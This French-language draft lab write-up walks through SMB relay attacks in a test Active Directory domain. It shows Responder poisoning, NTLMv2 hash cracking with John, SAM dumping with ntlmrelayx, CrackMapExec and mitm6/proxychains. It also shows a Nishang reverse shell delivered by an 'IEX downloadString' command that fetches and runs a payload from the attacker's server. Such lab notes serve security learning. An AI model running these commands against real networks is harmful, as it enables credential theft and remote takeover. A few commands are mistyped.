# SMB Relay Exploitation - Brouillon

<details>

<summary>Installation réseau Active Directory:</summary>

### Quatre appareils connectés sont présents dans le réseau :

* Machine A (Windows 10)
* Machine B (Windows 10)
* Serveur de Domaine (Windows Server 2016)
* Machine Attaquante (Parrot)

### Étapes à suivre:

* [ ] Changer le nom des equipement
* [ ] Les équipements doivent être configurés en mode NAT.

- [ ] Les rôles suivants doivent être installés sur le serveur DC :

  * Service de domaine Active Directory

  <figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2F6bZIocqnyheuTz4zie36%2Fimage.png?alt=media&#x26;token=5da0878e-d2e9-4cb6-bde1-f78afcb4c05c" alt=""><figcaption></figcaption></figure>
- [ ] Une nouvelle forêt nommée "jordan.local" doit être créée.

<img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FkMHda782iEJZzPfegVBF%2Fimage.png?alt=media&#x26;token=5b557383-fc50-4934-84d4-c73d3f02ccaf" alt="" data-size="original">

* [ ] Les deux PC doivent être connectés au contrôleur de domaine.

![](https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FTWJz8IZSCysNfUjA1Rm5%2Fimage.png?alt=media\&token=a57243bc-a66b-4937-9ea3-3cf4e3b82304)

* [ ] Les utilisateurs doivent être créés dans le Active Directory.

<img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FMKROp1eypjAeTRM8Qxnl%2Fimage.png?alt=media&#x26;token=fee329f4-142e-4c38-9f8c-18426ca66d91" alt="" data-size="original">

![](https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FiGLVUhkefzISlEWCaS2t%2Fimage.png?alt=media\&token=407e6cd3-011d-4d54-b865-0b557882f92f)

* [ ] Windows Defender doit être désactivé via PowerShell :

```powershell
Uninstall -WindowsFeature -Name Windows-Defender
```

![](https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FBr6stO7HF8mPdyR1TpKm%2Fimage.png?alt=media\&token=97b94d1a-9e16-4bb9-ac67-5c0030d81063)

</details>

{% hint style="info" %}
**SMB Relay** est une technique d'attaque utilisée dans les réseaux informatiques, notamment dans les environnements Windows. L'attaque consiste à intercepter et à relayer les communications entre deux machines via le protocole SMB (Server Message Block). L'objectif principal de cette attaque est généralement d'usurper l'identité d'un utilisateur authentifié sur un système distant, en exploitant des faiblesses dans le processus d'authentification SMB. Cela peut permettre à un attaquant d'accéder à des ressources sensibles ou de compromettre des systèmes dans le réseau ciblé.
{% endhint %}

#### *Par défaut, Samba n'est pas auto-signé, ce qui signifie que l'authenticité de l'origine ne peut pas être vérifiée. Dans un environnement d'entreprise, de nombreuses communications se font via Samba, ce qui expose progressivement de nombreux hachages NTLMv2. Ces hachages peuvent ensuite être capturés et utilisés ultérieurement pour être déchiffrés.*&#x20;

## SMB Relay en IPV4:

Exécutez la commande suivante pour utiliser l'outil "responder" :

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FiXdC0c6FCYPTvI5TPxY3%2Fimage.png?alt=media&#x26;token=f02f9639-23aa-437d-8ee8-7d8117ae896f" alt=""><figcaption></figcaption></figure>

il y a plein de taches automatiser dans les reseau d'entreprise par exemple inventaire du software, actualisation antivirus....

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FnPhWdyKuY9tYaIsVEEuz%2Fimage.png?alt=media&#x26;token=ca1b7040-c7de-4905-97f2-cb73b2091aaa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FRfy19FgN5JC5nSQNQ825%2Fimage.png?alt=media&#x26;token=672f6140-85ec-4a27-a0c2-0242f35a3b27" alt=""><figcaption></figcaption></figure>

Utilisez l'outil John pour décrypter les mots de passe :&#x20;

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FY2cAZRpqJyC03sy7WWWZ%2Fimage.png?alt=media&#x26;token=8bf12a6e-ea78-4170-812b-2dc23d481d49" alt=""><figcaption></figcaption></figure>

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FpUCTlFTI8KDQmxTi4qe5%2Fimage.png?alt=media&#x26;token=4ff4076c-4d53-4e6a-b0e0-848d764f3fc0" alt=""><figcaption></figcaption></figure>

### Utilisation de Crackmapexec :

Utilisez Crackmapexec pour énumérer les équipements réseau :

```bash
crackmapexec smb 192.168.71.0/24
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FPeLpll9ebVLQMpaVKY4i%2Fimage.png?alt=media&#x26;token=24edab32-59c7-4760-b851-bc603d6b6a4d" alt=""><figcaption></figcaption></figure>

#### On observe bien que les équipements ne sont pas signée

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FYryZNjXjxw4NSfiza1lI%2Fimage.png?alt=media&#x26;token=5ddaf75c-ca59-4c57-a6a3-657c02d85416" alt=""><figcaption></figcaption></figure>

### Exemple utilisateur avec plus des privilèges admin:

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fu6a6WwnrvmNg0gJaaVqj%2Fimage.png?alt=media&#x26;token=1a05dc26-97de-4546-95bc-077b49a69a30" alt=""><figcaption></figcaption></figure>

Effectuez une analyse pour identifier les utilisateurs avec des privilèges élevés, par exemple, l'utilisateur Jordan, membre du groupe Administrateurs :

```bash
crackmapexec smb 192.168.71.0/24 -u 'jordan' -p 'Password1'
```

Si le résultat de cette commande est "pwn3d!", cela signifie que nous avons potentiellement la capacité de récupérer la base de données SAM.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FcDrKCQT0g3ECqWn2EYis%2Fimage.png?alt=media&#x26;token=66668541-1746-4024-abc8-b2082178c155" alt=""><figcaption></figcaption></figure>

### Dumper la SAM :

* Désactivez les fonctionnalités SMB et HTTP dans le fichier `/usr/share/responder/Responder.conf`
* Créez un fichier "targets" contenant les adresses IP des équipements ciblés, puis lancez l'outil "responder":&#x20;

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fe5ssctU6pHJwtX6iclEJ%2Fimage.png?alt=media&#x26;token=17578442-79a4-440a-b979-b64dcb0907cd" alt="" width="535"><figcaption></figcaption></figure>

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

### Utilisez ntlmrelayx pour capturer la SAM :

```bash
python /usr/local/bin/ntlmrelayx.py -tf targets.txt -smb2support
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FAJLxATF1KK3ZtWhwdozd%2Fimage.png?alt=media&#x26;token=daca89dd-4353-40fd-a4f9-b4a6a9fd7c7c" alt=""><figcaption></figcaption></figure>

### Capture de la SAM:

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2F0SDWrnv8gyDspM9akQCi%2Fimage.png?alt=media&#x26;token=3db884a8-0297-4aaf-9c96-d55214b4ce99" alt=""><figcaption></figcaption></figure>

### Exécution de commandes via Nishang :

{% embed url="<https://github.com/samratashok/nishang>" %}

Copiez le script Invoke-PowerShellTCP.ps1 depuis nishang :

```bash
cp /opt/nishang/Shells/Invoke-PowerShellTCP.ps1 . 
mv Invoke-PowerShellTCP.ps1 PS.ps1
nvim PS.ps1
```

Ajoutez à la fin du script la ligne suivante pour établir une connexion inversée :

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 4646
```

Création d'un serveur web et écoute avec nc : &#x20;

* Démarrez un serveur web avec Python sur le port 8000:

```bash
python3 -m http.server 8000
```

Mettez en écoute avec netcat sur le port 4646 :

```bash
rlwrap nc -nlvp 4646
```

Activation responder:

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

Infection et connexion à l'utilisateur Pepito :

* Utilisez ntlmrelayx pour exécuter un payload PowerShell via le serveur web :&#x20;

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.143:8000/PS.ps1')"
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FAFgOt0UuQPt8e8hrKfPz%2Fimage.png?alt=media&#x26;token=e38d42df-6af9-4564-89e6-54ec2e141cbc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2F3f5pBGVcw6IHdbiPKUxk%2Fimage.png?alt=media&#x26;token=fa96b658-c578-4693-aa2e-19061e9e3c88" alt=""><figcaption></figcaption></figure>

## SMB Relay en IPV6:

#### **Demande de configuration du nom de domaine** :

Utilisez la commande "mitm6" pour solliciter la configuration du nom de domaine :

```bash
mitm6 -d j0rdan.local
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FRHpdiqsiSDtPZHCovX4U%2Fimage.png?alt=media&#x26;token=0c4d6b0b-6378-444c-ac9f-30b42d0e4a4d" alt=""><figcaption></figcaption></figure>

### **Attribution de nouvelles adresses IPv6 locales et de serveurs DNS** :&#x20;

#### Les équipements obtiennent de nouvelles adresses IPv6 locales ainsi que des serveurs DNS, préparant ainsi le terrain pour la suite des opérations.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fwle5iKkSpDnDrmywexnZ%2Fimage.png?alt=media&#x26;token=3d0e9676-e75d-470e-ab4c-56138c9a92c6" alt=""><figcaption></figcaption></figure>

### **Capture de la SAM depuis l'utilisateur Pepeito:**&#x20;

#### Utilisez ntlmrelayx.py avec l'option IPv6 et d'autres paramètres nécessaires pour capturer la Security Account Manager (SAM) à partir de l'utilisateur Pepeito. Un exemple de commande pourrait être :

```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fmg4FsqopddUlma4S2S3T%2Fimage.png?alt=media&#x26;token=27ac31b4-3ace-40aa-ac31-d415656784d6" alt=""><figcaption></figcaption></figure>

#### **Vérification de l'administration sur l'équipement de Pepito**:

Assurez-vous que le statut d'administration est vrai sur l'équipement de Pepeito.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FE22IXj9fOMOdX7p7286V%2Fimage.png?alt=media&#x26;token=86b9d9a7-78ef-44bd-8ee6-95cfa0ce4ea3" alt=""><figcaption></figcaption></figure>

#### **Vérification de la configuration du proxy** : Ouvrez le fichier de configuration, tel que `/etc/proxychange`, pour vérifier que la configuration du proxylist est correcte.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FA3vwhalhEXYwb0rK3xgK%2Fimage.png?alt=media&#x26;token=d4a733c5-74cd-4405-9db4-9f014e8d4393" alt=""><figcaption></figcaption></figure>

### **Capture de la SAM à l'aide de proxychains** :

Une fois connecté à l'équipement, où le statut admin est confirmé, utilisez proxychains pour capturer la SAM.

```bash
proxychains cme smb 192.168.71.151 -u 'JORDAN' -p 'password12345678' -d 'J0RDAN' --sam
```
